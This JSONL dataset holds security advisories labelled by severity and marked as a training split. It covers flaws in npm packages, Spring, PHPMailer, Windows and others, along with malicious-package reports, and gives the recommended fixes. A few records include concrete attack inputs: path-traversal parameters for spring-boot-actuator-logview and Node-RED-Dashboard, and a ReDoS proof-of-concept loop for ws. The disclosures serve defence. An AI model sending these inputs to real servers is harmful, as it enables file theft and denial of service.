-{"id": "3d8cc204fcf5604f4f83", "text": "Downloads Resources over HTTP in strider-sauce\n\nAffected versions of `strider-sauce` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `strider-sauce`.\n\n## Recommendation\n\nWhile the package author has created a patch for this vulnerability, they have not yet published it to npm or bumped the version number.\n\nIn order to resolve the vulnerability, you will need to install the module manually from github:\n```\nnpm install github:Strider-CD/strider-sauce#5ff6d65\n```\n\nAs this vulnerability does not have a version bump included with the patch, it is possible that you have received a report for a vulnerable package, yet have installed the patched version and are no longer vulnerable. If that is the case, this advisory can be disregarded.", "text_raw": "Downloads Resources over HTTP in strider-sauce\n\n[Severity: HIGH]\n\nAffected versions of `strider-sauce` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `strider-sauce`.\n\n\n\n## Recommendation\n\nWhile the package author has created a patch for this vulnerability, they have not yet published it to npm or bumped the version number.\n\nIn order to resolve the vulnerability, you will need to install the module manually from github:\n```\nnpm install github:Strider-CD/strider-sauce#5ff6d65\n```\n\nAs this vulnerability does not have a version bump included with the patch, it is possible that you have received a report for a vulnerable package, yet have installed the patched version and are no longer vulnerable. If that is the case, this advisory can be disregarded.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "58d6c505eb856e5ff574", "text": "Malicious Package in buffermxor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffermxor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b2a81219ac83205149b5", "text": "Out-of-bounds Read in base64-url\n\nVersions of `base64-url` before 2.0.0 are vulnerable to out-of-bounds read as it allocates uninitialized Buffers when number is passed in input.\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.", "text_raw": "Out-of-bounds Read in base64-url\n\n[Severity: HIGH]\n\nVersions of `base64-url` before 2.0.0 are vulnerable to out-of-bounds read as it allocates uninitialized Buffers when number is passed in input.\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-31", "split": "train"}
-{"id": "eff3690b33c0f2536f67", "text": "Data races in rusqlite\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via VTab / VTabCursor.", "text_raw": "Data races in rusqlite\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via VTab / VTabCursor.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f71207cf0f4d2553142f", "text": "Reflected Cross-Site Scripting in jquery.terminal\n\nVersions of `jquery.terminal` prior to 1.21.0 are vulnerable to Reflected Cross-Site Scripting. If the application has either of the options `anyLinks` or `invokeMethods` set to true, the application may execute arbitrary JavaScript through crafted malicious payloads due to insufficient sanitization.\n\n## Recommendation\n\nUpgrade to version 1.21.0 or later", "text_raw": "Reflected Cross-Site Scripting in jquery.terminal\n\n[Severity: MEDIUM]\n\nVersions of `jquery.terminal` prior to 1.21.0 are vulnerable to Reflected Cross-Site Scripting. If the application has either of the options `anyLinks` or `invokeMethods` set to true, the application may execute arbitrary JavaScript through crafted malicious payloads due to insufficient sanitization.\n\n\n## Recommendation\n\nUpgrade to version 1.21.0 or later", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "9b88da533462d45105cc", "text": "Microsoft Windows Spoofing Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows contains a spoofing vulnerability when Windows incorrectly validates file signatures, allowing an attacker to bypass security features and load improperly signed files.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-347\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Spoofing Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows contains a spoofing vulnerability when Windows incorrectly validates file signatures, allowing an attacker to bypass security features and load improperly signed files.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-347\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "23f1f24a2d58f9a98781", "text": "LDAP Injection in is-user-valid\n\nAll versions of package is-user-valid are vulnerable to LDAP Injection which can lead to either authentication bypass or information exposure.", "text_raw": "LDAP Injection in is-user-valid\n\n[Severity: HIGH]\n\nAll versions of package is-user-valid are vulnerable to LDAP Injection which can lead to either authentication bypass or information exposure.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "1d838feffab36a434196", "text": "Directory Traversal in spring-boot-actuator-logview\n\n### Impact\nThe nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory).\n\n### Patches\nThe vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release.\n\n### Workarounds\nThere is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [github repo](https://github.com/lukashinsch/spring-boot-actuator-logview)", "text_raw": "Directory Traversal in spring-boot-actuator-logview\n\n[Severity: HIGH]\n\n### Impact\nThe nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory).\n\n### Patches\nThe vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release.\n\n### Workarounds\nThere is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [github repo](https://github.com/lukashinsch/spring-boot-actuator-logview)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-05", "split": "train"}
-{"id": "5925979112d11fbe5b2f", "text": "Authentication Bypass in passport-azure-ad\n\nAffected versions of `passport-azure-ad` do not recognize the `validateIssuer` setting, which allows remote attackers to bypass authentication via a crafted token.\n\n## Recommendation\n\nVersion 1.x: Update to version 1.4.6 or later.\nVersion 2.x: Update to version 2.0.1 or later.", "text_raw": "Authentication Bypass in passport-azure-ad\n\n[Severity: HIGH]\n\nAffected versions of `passport-azure-ad` do not recognize the `validateIssuer` setting, which allows remote attackers to bypass authentication via a crafted token.\n\n\n## Recommendation\n\nVersion 1.x: Update to version 1.4.6 or later.\nVersion 2.x: Update to version 2.0.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "4de54222586bf924797e", "text": "Path traversal in Node-RED-Dashboard\n\nIn Node-RED-Dashboard before 2.26.2 there is a path traversal vulnerability. It allows ui_base/js/..%2f directory traversal to read files.", "text_raw": "Path traversal in Node-RED-Dashboard\n\n[Severity: HIGH]\n\nIn Node-RED-Dashboard before 2.26.2 there is a path traversal vulnerability. It allows ui_base/js/..%2f directory traversal to read files.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "c065b8bceacb1ebaeb1b", "text": "Oracle Identity Management 10g (username) XSS POST Injection Vulnerability", "text_raw": "Oracle Identity Management 10g (username) XSS POST Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-10-04", "split": "train"}
-{"id": "28f4b8e699d5d649de58", "text": "Sensitive Data Exposure in sequelize-cli\n\nVersions of `sequelize-cli` prior to 5.5.0 are vulnerable to Sensitive Data Exposure. The function `filteredURL()` does not properly sanitize the `config.password` value which may cause passwords with special characters to be logged in plain text.\n\n## Recommendation\n\nUpgrade to version 5.5.0 or later.", "text_raw": "Sensitive Data Exposure in sequelize-cli\n\n[Severity: LOW]\n\nVersions of `sequelize-cli` prior to 5.5.0 are vulnerable to Sensitive Data Exposure. The function `filteredURL()` does not properly sanitize the `config.password` value which may cause passwords with special characters to be logged in plain text.\n\n\n## Recommendation\n\nUpgrade to version 5.5.0 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "3697fdb89da9ad24aabc", "text": "Spring Framework has Improperly Implemented Security Check for Standard\n\nSpring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.16 and older unsupported versions, allow applications to expose STOMP over WebSocket endpoints with a simple, in-memory STOMP broker through the spring-messaging module. A malicious user (or attacker) can craft a message to the broker that can lead to a remote code execution attack. This CVE addresses the partial fix for CVE-2018-1270 in the 4.3.x branch of the Spring Framework.", "text_raw": "Spring Framework has Improperly Implemented Security Check for Standard\n\n[Severity: CRITICAL]\n\nSpring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.16 and older unsupported versions, allow applications to expose STOMP over WebSocket endpoints with a simple, in-memory STOMP broker through the spring-messaging module. A malicious user (or attacker) can craft a message to the broker that can lead to a remote code execution attack. This CVE addresses the partial fix for CVE-2018-1270 in the 4.3.x branch of the Spring Framework.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "3467a7cd4764527a43cd", "text": "Asbru Web Content Management System v9.2.7 Multiple Vulnerabilities", "text_raw": "Asbru Web Content Management System v9.2.7 Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-04-05", "split": "train"}
-{"id": "66048728637cb65e7855", "text": "ReDoS in Sec-Websocket-Protocol header\n\n### Impact\n\nA specially crafted value of the `Sec-Websocket-Protocol` header can be used to significantly slow down a ws server.\n\n### Proof of concept\n\n```js\nfor (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {\n  const value = 'b' + ' '.repeat(length) + 'x';\n  const start = process.hrtime.bigint();\n\nvalue.trim().split(/ *, */);\n\nconst end = process.hrtime.bigint();\n\nconsole.log('length = %d, time = %f ns', length, end - start);\n}\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@7.4.6 (https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff) and backported to ws@6.2.2 (https://github.com/websockets/ws/commit/78c676d2a1acefbc05292e9f7ea0a9457704bf1b) and ws@5.2.3 (https://github.com/websockets/ws/commit/76d47c1479002022a3e4357b3c9f0e23a68d4cd2).\n\n### Workarounds\n\nIn vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the [`--max-http-header-size=size`](https://nodejs.org/api/cli.html#cli_max_http_header_size_size) and/or the [`maxHeaderSize`](https://nodejs.org/api/http.html#http_http_createserver_options_requestlistener) options.\n\n### Credits\n\nThe vulnerability was responsibly disclosed along with a fix in private by [Robert McLaughlin](https://github.com/robmcl4) from University of California, Santa Barbara.", "text_raw": "ReDoS in Sec-Websocket-Protocol header\n\n[Severity: MEDIUM]\n\n### Impact\n\nA specially crafted value of the `Sec-Websocket-Protocol` header can be used to significantly slow down a ws server.\n\n### Proof of concept\n\n```js\nfor (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {\n  const value = 'b' + ' '.repeat(length) + 'x';\n  const start = process.hrtime.bigint();\n\n  value.trim().split(/ *, */);\n\n  const end = process.hrtime.bigint();\n\n  console.log('length = %d, time = %f ns', length, end - start);\n}\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@7.4.6 (https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff) and backported to ws@6.2.2 (https://github.com/websockets/ws/commit/78c676d2a1acefbc05292e9f7ea0a9457704bf1b) and ws@5.2.3 (https://github.com/websockets/ws/commit/76d47c1479002022a3e4357b3c9f0e23a68d4cd2).\n\n### Workarounds\n\nIn vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the [`--max-http-header-size=size`](https://nodejs.org/api/cli.html#cli_max_http_header_size_size) and/or the [`maxHeaderSize`](https://nodejs.org/api/http.html#http_http_createserver_options_requestlistener) options.\n\n### Credits\n\nThe vulnerability was responsibly disclosed along with a fix in private by [Robert McLaughlin](https://github.com/robmcl4) from University of California, Santa Barbara.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-28", "split": "train"}
-{"id": "374ce1bec8b61285bb00", "text": "Cross-Site Scripting in Prism\n\n### Impact\nThe easing preview of the Previewers plugin has an XSS vulnerability that allows attackers to execute arbitrary code in Safari and Internet Explorer.\n\nThis impacts all Safari and Internet Explorer users of Prism >=v1.1.0 that use the _Previewers_ plugin (>=v1.10.0) or the _Previewer: Easing_ plugin (v1.1.0 to v1.9.0).\n\n### Patches\nThis problem is patched in v1.21.0.\n\n### Workarounds\nTo workaround the issue without upgrading, [disable the easing preview](https://prismjs.com/plugins/previewers/#disabling-a-previewer) on all impacted code blocks. You need Prism v1.10.0 or newer to apply this workaround.\n\n### References\nThe vulnerability was introduced by this [commit](https://github.com/PrismJS/prism/commit/4303c940d3d3a20e8ce7635bf23331c75060f5c5) on Sep 29, 2015 and fixed by [Masato Kinugawa](https://twitter.com/kinugawamasato) (#2506).\n\n### For more information\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/PrismJS/prism/issues).", "text_raw": "Cross-Site Scripting in Prism\n\n[Severity: HIGH]\n\n### Impact\nThe easing preview of the Previewers plugin has an XSS vulnerability that allows attackers to execute arbitrary code in Safari and Internet Explorer.\n\nThis impacts all Safari and Internet Explorer users of Prism >=v1.1.0 that use the _Previewers_ plugin (>=v1.10.0) or the _Previewer: Easing_ plugin (v1.1.0 to v1.9.0).\n\n### Patches\nThis problem is patched in v1.21.0.\n\n### Workarounds\nTo workaround the issue without upgrading, [disable the easing preview](https://prismjs.com/plugins/previewers/#disabling-a-previewer) on all impacted code blocks. You need Prism v1.10.0 or newer to apply this workaround.\n\n### References\nThe vulnerability was introduced by this [commit](https://github.com/PrismJS/prism/commit/4303c940d3d3a20e8ce7635bf23331c75060f5c5) on Sep 29, 2015 and fixed by [Masato Kinugawa](https://twitter.com/kinugawamasato) (#2506).\n\n### For more information\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/PrismJS/prism/issues).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-07", "split": "train"}
-{"id": "0a9055945b7696165745", "text": "Spring Data Commons, used in combination with XMLBeam, contains a property binder vulnerability caused by improper restriction of XML external entity references\n\nSpring Data Commons, versions 1.13 prior to 1.13.12 and 2.0 prior to 2.0.7, used in combination with XMLBeam 1.4.14 or earlier versions, contains a property binder vulnerability caused by improper restriction of XML external entity references as underlying library XMLBeam does not restrict external reference expansion. An unauthenticated remote malicious user can supply specially crafted request parameters against Spring Data's projection-based request payload binding to access arbitrary files on the system.", "text_raw": "Spring Data Commons, used in combination with XMLBeam, contains a property binder vulnerability caused by improper restriction of XML external entity references\n\n[Severity: HIGH]\n\nSpring Data Commons, versions 1.13 prior to 1.13.12 and 2.0 prior to 2.0.7, used in combination with XMLBeam 1.4.14 or earlier versions, contains a property binder vulnerability caused by improper restriction of XML external entity references as underlying library XMLBeam does not restrict external reference expansion. An unauthenticated remote malicious user can supply specially crafted request parameters against Spring Data's projection-based request payload binding to access arbitrary files on the system.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "8fe3bd4c7239c72ef7f6", "text": "Expression injection in AviatorScript\n\nAviatorScript through 5.2.7 allows code execution via an expression that is encoded with Byte Code Engineering Library (BCEL).", "text_raw": "Expression injection in AviatorScript\n\n[Severity: CRITICAL]\n\nAviatorScript through 5.2.7 allows code execution via an expression that is encoded with Byte Code Engineering Library (BCEL).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-04", "split": "train"}
-{"id": "a54a1b7651266e40e02b", "text": "Denial of Service in @hapi/subtext\n\nVersions of `@hapi/subtext` prior to 6.1.2 are vulnerable to Denial of Service (DoS). The package fails to enforce the `maxBytes` configuration for payloads with chunked encoding that are written to the file system. This allows attackers to send requests with arbitrary payload sizes, which may exhaust system resources leading to Denial of Service.\n\n## Recommendation\n\nUpgrade to version 6.1.2 or later.", "text_raw": "Denial of Service in @hapi/subtext\n\n[Severity: HIGH]\n\nVersions of `@hapi/subtext` prior to 6.1.2 are vulnerable to Denial of Service (DoS). The package fails to enforce the `maxBytes` configuration for payloads with chunked encoding that are written to the file system. This allows attackers to send requests with arbitrary payload sizes, which may exhaust system resources leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 6.1.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "037e0630041b12339749", "text": "Arbitrary Code Execution in json-ptr\n\nnpm `json-ptr` before 2.1.0 has an arbitrary code execution vulnerability. The issue occurs in the [set operation](https://flitbit.github.io/json-ptr/classes/_src_pointer_.jsonpointer.htmlset) when the force flag is set to true. The function recursively set the property in the target object, however it does not properly check the key being set, leading to a prototype pollution.", "text_raw": "Arbitrary Code Execution in json-ptr\n\n[Severity: HIGH]\n\nnpm `json-ptr` before 2.1.0 has an arbitrary code execution vulnerability. The issue occurs in the [set operation](https://flitbit.github.io/json-ptr/classes/_src_pointer_.jsonpointer.htmlset) when the force flag is set to true. The function recursively set the property in the target object, however it does not properly check the key being set, leading to a prototype pollution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "7ebcdd1660e9a358ca79", "text": "OS Command Injection Vulnerability and Potential Zip Slip Vulnerability in baserCMS\n\nThere is an OS Command Injection Vulnerability on the management system of baserCMS.\n\nThis is a vulnerability that needs to be addressed when the management system is used by an unspecified number of users.\nIf you are eligible, please update to the new version as soon as possible.\n\nTarget\nbaserCMS 4.5.3 and earlier versions\n\nVulnerability\nOS Command Injection Vulnerability.\n\nCountermeasures\nUpdate to the latest version of baserCMS\n\nCredits\nAkagi Yusuke @NTT-ME", "text_raw": "OS Command Injection Vulnerability and Potential Zip Slip Vulnerability in baserCMS\n\n[Severity: CRITICAL]\n\nThere is an OS Command Injection Vulnerability on the management system of baserCMS.\n\nThis is a vulnerability that needs to be addressed when the management system is used by an unspecified number of users.\nIf you are eligible, please update to the new version as soon as possible.\n\nTarget\nbaserCMS 4.5.3 and earlier versions\n\nVulnerability\nOS Command Injection Vulnerability.\n\nCountermeasures\nUpdate to the latest version of baserCMS\n\nCredits\nAkagi Yusuke @NTT-ME", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-01", "split": "train"}
-{"id": "7f40aabe2f93ae197108", "text": "Remote code execution in PHPMailer\n\n### Impact\nThe `mailSend` function in the default `isMail` transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \\&quot; (backslash double quote) in a crafted `Sender` property.\n\n### Patches\nFixed in 5.2.18\n\n### Workarounds\nFilter and validate user input before passing it to internal functions.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-10033\nRelated to a follow-on issue in https://nvd.nist.gov/vuln/detail/CVE-2016-10045\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "text_raw": "Remote code execution in PHPMailer\n\n[Severity: CRITICAL]\n\n### Impact\nThe `mailSend` function in the default `isMail` transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \\&quot; (backslash double quote) in a crafted `Sender` property.\n\n### Patches\nFixed in 5.2.18\n\n### Workarounds\nFilter and validate user input before passing it to internal functions.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2016-10033\nRelated to a follow-on issue in https://nvd.nist.gov/vuln/detail/CVE-2016-10045\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a private issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-05", "split": "train"}
-{"id": "51fc580a47706c6ce50a", "text": "Downloads Resources over HTTP in adamvr-geoip-lite\n\nAffected versions of `adamvr-geoip-lite` insecurely download resources over HTTP.\n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. This could impact the integrity and availability of the data being used to make geolocation decisions by an application.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in adamvr-geoip-lite\n\n[Severity: MEDIUM]\n\nAffected versions of `adamvr-geoip-lite` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. This could impact the integrity and availability of the data being used to make geolocation decisions by an application.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "206f19ffb4ebe84a665a", "text": "Denial of service vulnerability exists when System.IO.Pipelines improperly handles requests\n\nA denial of service vulnerability exists when System.IO.Pipelines improperly handles requests, aka \"System.IO.Pipelines Denial of Service.\" This affects .NET Core 2.1, System.IO.Pipelines, ASP.NET Core 2.1.", "text_raw": "Denial of service vulnerability exists when System.IO.Pipelines improperly handles requests\n\n[Severity: HIGH]\n\nA denial of service vulnerability exists when System.IO.Pipelines improperly handles requests, aka \"System.IO.Pipelines Denial of Service.\" This affects .NET Core 2.1, System.IO.Pipelines, ASP.NET Core 2.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "f861202cdd55797ddf8e", "text": "Malicious Package in asynnc\n\nAll versions of `asynnc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in asynnc\n\n[Severity: CRITICAL]\n\nAll versions of `asynnc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "b55668f5ebd7f7129022", "text": "Content Injection via TileJSON Name in mapbox.js\n\nVersions 1.x prior to 1.6.6 and 2.x prior to 2.2.4 of `mapbox.js` are vulnerable to a cross-site-scripting attack in certain uncommon usage scenarios.\n\nIf `L.mapbox.map` or `L.mapbox.shareControl` are used in a manner that gives users control of the TileJSON content, it is possible to inject script content into the name value of the TileJSON. After clicking on the share control, the malicious code will execute in the context of the page using Mapbox.js.\n\n## Recommendation\n\nVersion 1.x: Update to version 1.6.6 or later.\nVersion 2.x: Update to version 2.2.4 or later.", "text_raw": "Content Injection via TileJSON Name in mapbox.js\n\n[Severity: MEDIUM]\n\nVersions 1.x prior to 1.6.6 and 2.x prior to 2.2.4 of `mapbox.js` are vulnerable to a cross-site-scripting attack in certain uncommon usage scenarios.\n\nIf `L.mapbox.map` or `L.mapbox.shareControl` are used in a manner that gives users control of the TileJSON content, it is possible to inject script content into the name value of the TileJSON. After clicking on the share control, the malicious code will execute in the context of the page using Mapbox.js.\n\n\n\n## Recommendation\n\nVersion 1.x: Update to version 1.6.6 or later.\nVersion 2.x: Update to version 2.2.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "325b6841098c9cefad4d", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 an 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 an 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "6dd7d0d2a95ada839ec8", "text": "Adobe Photoshop Elements 8.0 Multiple Arbitrary Code Execution Vulnerabilities", "text_raw": "Adobe Photoshop Elements 8.0 Multiple Arbitrary Code Execution Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-10-01", "split": "train"}
-{"id": "35d5fede9d7426dc2954", "text": "Cross-site scripting (XSS) vulnerability in the to_json (ActiveRecord::Base#to_json) function in Ruby on Rails before edge 9606 allows remote attackers to inject arbitrary web script via the input values.", "text_raw": "Moderate severity vulnerability that affects rails\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the to_json (ActiveRecord::Base#to_json) function in Ruby on Rails before edge 9606 allows remote attackers to inject arbitrary web script via the input values.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "c7bd9e04a69209681008", "text": "Remote Code Execution and download tracking in Mintegral SDK\n\n\"This affects all versions of package com.mintegral.msdk:alphab. The Android SDK distributed by the company contains malicious functionality in this module that tracks: 1. Downloads from Google urls either within Google apps or via browser including file downloads, e-mail attachments and Google Docs links. 2. All apk downloads, either organic or not. Mintegral listens to download events in Android's download manager and detects if the downloaded file's url contains: a. google.com or comes from a Google app (the com.android.vending package) b. Ends with .apk for apk downloads In both cases, the module sends the captured data back to Mintegral's servers. Note that the malicious functionality keeps running even if the app is currently not in focus (running in the background).\"", "text_raw": "Remote Code Execution and download tracking in Mintegral SDK\n\n[Severity: MEDIUM]\n\n\"This affects all versions of package com.mintegral.msdk:alphab. The Android SDK distributed by the company contains malicious functionality in this module that tracks: 1. Downloads from Google urls either within Google apps or via browser including file downloads, e-mail attachments and Google Docs links. 2. All apk downloads, either organic or not. Mintegral listens to download events in Android's download manager and detects if the downloaded file's url contains: a. google.com or comes from a Google app (the com.android.vending package) b. Ends with .apk for apk downloads In both cases, the module sends the captured data back to Mintegral's servers. Note that the malicious functionality keeps running even if the app is currently not in focus (running in the background).\"", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "05f6d7fb54e99ce67ce6", "text": "Downloads Resources over HTTP in jser-stat\n\nAffected versions of `jser-stat` insecurely downloads resources over HTTP.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in jser-stat\n\n[Severity: MEDIUM]\n\nAffected versions of `jser-stat` insecurely downloads resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
